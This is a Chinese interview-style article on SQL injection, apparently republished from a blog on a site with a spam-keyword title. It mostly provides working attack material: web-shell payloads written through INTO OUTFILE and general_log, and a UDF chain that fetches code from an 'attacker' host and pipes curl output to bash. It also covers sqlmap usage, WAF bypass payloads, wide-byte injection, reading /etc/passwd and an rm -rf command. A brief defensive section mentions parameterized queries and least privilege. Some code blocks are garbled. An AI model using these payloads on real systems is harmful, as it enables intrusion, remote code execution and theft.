您的位置:首页 > 房产 > 家装 > 设计师培训多少_东道设计logo_防控措施持续优化_免费网站代理访问

设计师培训多少_东道设计logo_防控措施持续优化_免费网站代理访问

2025/5/21 22:29:18 来源:https://blog.csdn.net/m0_62828084/article/details/147040342  浏览:    关键词:设计师培训多少_东道设计logo_防控措施持续优化_免费网站代理访问
设计师培训多少_东道设计logo_防控措施持续优化_免费网站代理访问

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

SQLi

一、发现test.jsp?cid=150 注入点的5种WebShell获取思路

1. 文件写入攻击

2. 日志文件劫持

3. UDF提权执行命令

4. 二次注入组合攻击

5. 存储过程滥用(MSSQL场景)

二、工具直接写入WebShell的条件要求

三、MySQL 5.0+与5.0-版本注入差异对比

1. 元数据获取方式

2. 盲注技术差异

3. 函数支持对比

四、SQLMap实战注入方法

1. GET型注入检测

3. 文件加载式注入

五、SQL注入Bypass技巧大全

1. 特殊符号混淆

2. 编码转换技术

3. 逻辑等价替换

4. 参数污染攻击

5. 数据库特性利用

六、SQL注入成因与防御体系

1. 漏洞成因

2. 防御方案

3. 注入类型扩展

4. 非数据利用方式

七、宽字符注入深度解析

1. 漏洞原理

2. Payload构造

3. 修复方案

八、SQL注入判断方法论

1. 基础检测技巧

2. 高级检测手段

3. 工具自动化检测

九、变形注入突破思路

1. 编码转换技术

2. 语法结构混淆

3. 协议层绕过

SQLi

发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?以下链接存在 SQ,用工具对目标站直接写入一句话,需要哪些条件?Mysql的网站注入,5.0以上和5.0以下有什么区别?sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包?你都了解哪些SQL注入的bypass技巧?介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?如何判断SQL注入,有哪些方法,说说你最常用的?L注入漏洞,对于这个变形注入,你有什么思路?
mysql注入点

一、发现test.jsp?cid=150 注入点的5种WebShell获取思路

1. 文件写入攻击

前置条件

  • MySQL用户具备FILE权限
  • 已知Web目录绝对路径(如/var/www/html
  • secure_file_priv未限制写入路径

Payload构造

sqlUNION SELECT 1,"<?php @eval($_POST['cmd']);?>",3 INTO OUTFILE '/var/www/shell.php' -- 使用CHAR编码绕过过滤: UNION SELECT 1,CHAR(60,63,112,104,112...),3 INTO OUTFILE '/path/shell.php' 
2. 日志文件劫持

操作流程

sqlSET global general_log = 'ON'; SET global general_log_file = '/var/www/log.php'; SELECT '<?php system($_GET["cmd"]);?>'; -- 触发日志记录后访问/log.php?cmd=id 
3. UDF提权执行命令

技术链

bash# 上传恶意so文件到插件目录(需lib_mysqludf_sys.so ) wget http://attacker/udf.so -P /usr/lib/mysql/plugin/ CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so'; SELECT sys_exec('curl http://attacker/shell | bash');
4. 二次注入组合攻击

场景示例

  1. 通过注入修改用户信息字段为恶意代码
sqlUPDATE profile SET bio='<?php eval($_POST[x]);?>' WHERE uid=1001 
  1. 触发用户信息导出功能生成bio_1001.php
5. 存储过程滥用(MSSQL场景)
sqlEXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^ > C:\web\shell.aspx' 

二、工具直接写入WebShell的条件要求

条件类型具体要素验证方法
数据库权限FILE权限(SELECT file_priv FROM mysql.usersqlmap --sql-shell执行查询
路径可控性secure_file_priv值为空或包含Web目录SHOW VARIABLES LIKE 'secure%';
物理路径泄露通过报错信息/phpinfo探针获取构造错误?id=1 AND 1=2触发报错
字符处理绕过引号闭合与编码转换使用Hex编码0x3c3f706870...
WAF防御规避分块传输+注释符混淆sqlmap --tamper=chunked

三、MySQL 5.0+与5.0-版本注入差异对比

1. 元数据获取方式
  • 5.0+:通过information_schema快速获取表结构
    sqlSELECT table_name FROM information_schema.tables WHERE table_schema=database()
  • 5.0-:需暴力猜解表名(如admin/user/article
2. 盲注技术差异
  • 5.0+:利用BENCHMARK()制造延时
    sqlIF(SUBSTR((SELECT password),1,1)='a',BENCHMARK(5000000,MD5('test')),0)
  • 5.0-:依赖布尔响应差异
3. 函数支持对比
功能5.0+支持5.0-限制
文件读写LOAD_FILE()可用依赖特殊配置
系统命令执行需UDF或存储过程基本不可行
报错信息利用updatexml()触发仅支持简单错误回显

四、SQLMap实战注入方法

1. GET型注入检测
bashsqlmap -u "http://site.com/test.jsp?cid=150" --batch --technique=BEUST -- 参数说明: -- `-batch`:自动选择默认选项 -- `--technique`:指定注入技术(B:布尔盲注/E:报错注入/U:联合查询/S:时间盲注/T:基于时间) #### 2. POST型注入操作 ```bash sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --method=POST -- 高级用法: sqlmap -r request.txt --proxy="http://127.0.0.1:8080" --risk=3 --level=5 
3. 文件加载式注入
bash# 保存请求到request.txt (包含Cookie和POST数据) sqlmap -r request.txt --dbs 

五、SQL注入Bypass技巧大全

1. 特殊符号混淆
sqlSELECT/*![40000 1,*/2,3 FROM users WHERE id=1--%0a -- 使用内联注释绕过关键字过滤 
2. 编码转换技术
  • URL编码UNION%20SELECTUNION SELECT
  • Unicode编码U+0053ELECTSELECT
  • 双重编码%2553ELECTSELECT
3. 逻辑等价替换
sqlWHERE id=1 || 1=1 -- 替代OR 1=1 WHERE id=1 DIV 1 -- 替代AND 1=1 
4. 参数污染攻击
httpGET /test?id=1&id=2 UNION SELECT 1,@@version,3 
5. 数据库特性利用
sql/*!50000SELECT*/ 1 FROM users -- MySQL版本条件执行 

六、SQL注入成因与防御体系

1. 漏洞成因
  • 直接拼接"SELECT * FROM users WHERE id=" + request.getParameter("id")
  • 错误处理不当:显示数据库错误信息(如MySQL错误栈)
2. 防御方案
  • 输入过滤
    python# Python示例:参数化查询 cursor.execute("SELECT * FROM users WHERE id=%s", (user_input,))
  • 最小权限原则
    sqlGRANT SELECT ON db.users TO 'webuser'@'%'; REVOKE FILE,EXECUTE ON *.* FROM'webuser'@'%';
3. 注入类型扩展
类型检测方法利用场景
联合查询注入ORDER BY测试列数快速获取数据
报错注入AND 1=updatexml(1,concat(0x7e,version()),1)信息泄露
时间盲注IF(1=1,SLEEP(5),0)无回显场景
4. 非数据利用方式
  • 文件系统操作
    sqlLOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd'
  • 系统命令执行(需条件):
    sqlsys_exec('rm -rf /tmp/*')

七、宽字符注入深度解析

1. 漏洞原理

GBK编码中%bf%5c会被解析为汉字"縗",导致单引号逃逸:

  • 原始输入:id=1%bf'
  • 转义后:1縗'%bf%5c%27縗'
2. Payload构造
httphttp://site.com/test.php?id=1%bf%27%20AND%201=1%20--+ -- 解码后等价于:id=1' AND 1=1 -- 
3. 修复方案
  • 统一字符集
    phpmysqli_set_charset($conn, "utf8mb4");
  • 过滤策略
    php$id = preg_replace('/[^\x00-\x7F]/', '', $_GET['id']);

八、SQL注入判断方法论

1. 基础检测技巧
  • 单引号测试
    http://site.com/?id=1' → 观察是否出现数据库错误
  • 布尔逻辑检测
    ?id=1 AND 1=1 vs ?id=1 AND 1=2 → 页面内容差异
2. 高级检测手段
  • 时间盲注探测
    sqlIF(SUBSTR((SELECT password),1,1)='a',SLEEP(5),0)
  • 报错注入利用
    sqlAND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1)
3. 工具自动化检测
bashsqlmap -u "http://site.com/test.jsp?cid=150" --batch --forms 

九、变形注入突破思路

1. 编码转换技术
  • Hex编码绕过
    sqlSELECT 0x73656C656374 FROM users -- 等价于"SELECT"
  • Base64解码利用
    sqlSELECT FROM_BASE64('c2VsZWN0') AS cmd;
2. 语法结构混淆
sqlSELECT 1 FROM users WHERE id=1||1=1 -- 替代OR 1=1 
3. 协议层绕过
httpPOST /test HTTP/1.1 Transfer-Encoding: chunked 1 id=1 UNION/* 0 SELECT 1,2,3 FROM users 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com